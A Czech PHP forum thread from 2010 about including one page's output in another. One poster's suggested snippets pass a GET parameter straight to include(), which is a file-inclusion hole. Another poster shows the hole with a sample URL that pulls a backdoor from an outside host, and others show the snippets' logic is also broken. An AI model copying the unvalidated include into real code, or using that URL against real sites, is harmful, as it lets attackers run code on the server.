Autor | Zpráva | ||
---|---|---|---|
piiiiiiiip Profil |
#1 · Zasláno: 29. 8. 2010, 20:45:58
Ahoj potřeboval bych aby se mi na stránce index.php zobrazily clánky z jiného souboru.Zkoušel jsem tohle ale to nefunguje.Prosím o radu.
<?php include "clanky.php?vypis=clanky" ?> |
||
DoubleThink Profil * |
#2 · Zasláno: 29. 8. 2010, 20:55:38
|
||
SpotRudloff Profil |
#3 · Zasláno: 29. 8. 2010, 23:05:31 · Upravil/a: SpotRudloff
Jednoduché řešení:
<?php $vypis = $_GET['vypis'].".php"; if(file_exists($vypis)) include $vypis; else die("Tento soubor neexistuje!"); ?> Samozřejmě můžeš zkusit změnit příponu, nebo to vymyslet ještě lépe: <?php $vypis = $_GET['vypis']; if(file_exists($vypis.".php")) include $vypis.".php"; elseif(file_exists($vypis.".html")) include $vypis.".html"; elseif(file_exists($vypis.".htm")) include $vypis.".htm"; else die("Tento soubor neexistuje!"); ?> A takhle můžeš pokračovat do nekonečna. Nebo si práci zjednodušit: <?php $vypis = $_GET['vypis']; $pripony = array("php", "html", "txt"); foreach($pripony as $klic => $prip) { if(file_exists($vypis.".".$prip)) { include $vypis.".".$prip; $included = true; } elseif(!file_exists($vypis.".".$prip) AND $klic < count($pripony)) { if(@$included) continue; elseif(!$klic) echo "Tento soubor neexistuje!"; } } ?> |
||
AM_ Profil |
#4 · Zasláno: 29. 8. 2010, 23:19:42 · Upravil/a: AM_
myslím, že piip má na mysli něco jiného.
piiiiiiiip: funkci include nemůžeš předat URL, jen název souboru. Pokud chceš docílit toho, že do jedné stránky vložíš to, co se zobrazí při otevření clanky.php?vypis=clanky, můžeš to udělat dvěma způsoby: //1: soubor se spusti primo jako soucast aktualni stranky $_GET['vypis'] = 'clanky'; include 'clanky.php'; //2: stranka se nacte samostatne a vysledek se posle tvemu skriptu: echo file_get_contents('http://example.com/clanky.php?vypis=clanky'); Ovšem je to dost neobvyklé, pokud je tvá stránka dobře napsaná, určitě clanky.php vypíše vlastní html hlavičku (<html><head>...), která by se určitě neměla objevit veprostřed jiného HTML dokumentu - vzniká pak strašný paskvil, který každý prohlížeč zobrazí jinak, začnou zlobit javascripty a všechno... SpotRudloff: „Jednoduché a vůbec nezabezpečené řešení:“ example.com/?vypis=http://hackeruvweb.com/backdoor a máš po webu. „nebo to vymyslet ještě lépe:“ > if(file_exists($vypis.".php")) > include $vypis.".html"; pokud existuje soubor "neco.php", vložím soubor "neco.html" ? nějak mi ta genialita uniká. |
||
SpotRudloff Profil |
#5 · Zasláno: 29. 8. 2010, 23:26:12 · Upravil/a: SpotRudloff
AM:
Psal jsem ještě jednu část kódu a tamta měla chybu. ;) Už je tam. |
||
Keeehi Profil |
#6 · Zasláno: 29. 8. 2010, 23:30:40
SpotRudloff:
„Nebo si práci zjednodušit:“ Tak to už je úplná zhovadilost. Zkusil jsi ten script, nebo alespoň přemýšlel, jak funguje? Řekl bych že ne. |
||
AM_ Profil |
#7 · Zasláno: 29. 8. 2010, 23:34:52
přesně tak, tohle už je holý nesmysl. Přiznám se, že takové řešení vkládání souboru do indexu, abych na něj koukal dvě minuty a stejně ho nechápal, jsem ještě neviděl.
Ale i ta myšlenka je úplně zbytečná, přeci soubory budu pojmenovávat jednotně, nebudu si v tom dělat bordel a něco pojmenovávat html a něco PHP, dám tam nějaké zabezpečení aby tam kdokoliv nemohl includovat cokoliv... A hlavně mám stejně pocit, že dotaz byl stejně na něco jiného, ne jak includovat podle url, ale jak includovat jakoby "soubor s parametrem". |
||
SpotRudloff Profil |
#8 · Zasláno: 29. 8. 2010, 23:39:22
Keeehi:
Jasně že jsem ho zkoušel a přemýšlel nad ním... ;) |
||
Keeehi Profil |
#9 · Zasláno: 29. 8. 2010, 23:54:02 · Upravil/a: Keeehi
SpotRudloff:
„Jasně že jsem ho zkoušel a přemýšlel nad ním… ;)“ Pak nechápu jak jsi ho sem mohl dát. "mějme" 2 soubory soubor.html a soubor.php 1) ani jeden soubor neexistuje - vypíše se "Tento soubor neexistuje!" a celý script skončí (Proč musí skončit?) 2) existuje soubor.php a neexistuje soubor.html - includuje se se soubor.php (Tady to funguje, ale je to spíše náhoda) 3) existuje soubor.html a neexistuje soubor.php - přesto že soubor "soubor.html"existuje, vypíše se "Tento soubor neexistuje!" a script skončí. (Tady je to rozbité ze všeho nejvíc) 4) existují oba soubory - includují se oba. A co když chci includovat jenom ten html? Jo aha, ono to nejde. Navíc jak psal AM_ • Tvoje řešení jsou nezabezpečená. • Vůbec se nezabývají problémem který má piiiiiiiip. |
||
SpotRudloff Profil |
#10 · Zasláno: 30. 8. 2010, 00:15:48
Keeehi:
1) Opraveno. 3) Opraveno. 4) Když chceš jenom HTML, tak přece nebudeš zadávat více přípon. ;) Jak můžeš vědět, že piiiiiiiip tohle neřeší? Já jsem to tak pochopil. |
||
piiiiiiiip Profil |
#11 · Zasláno: 30. 8. 2010, 10:29:21
AM:
Dík moc |
||
Časová prodleva: 14 let
|
0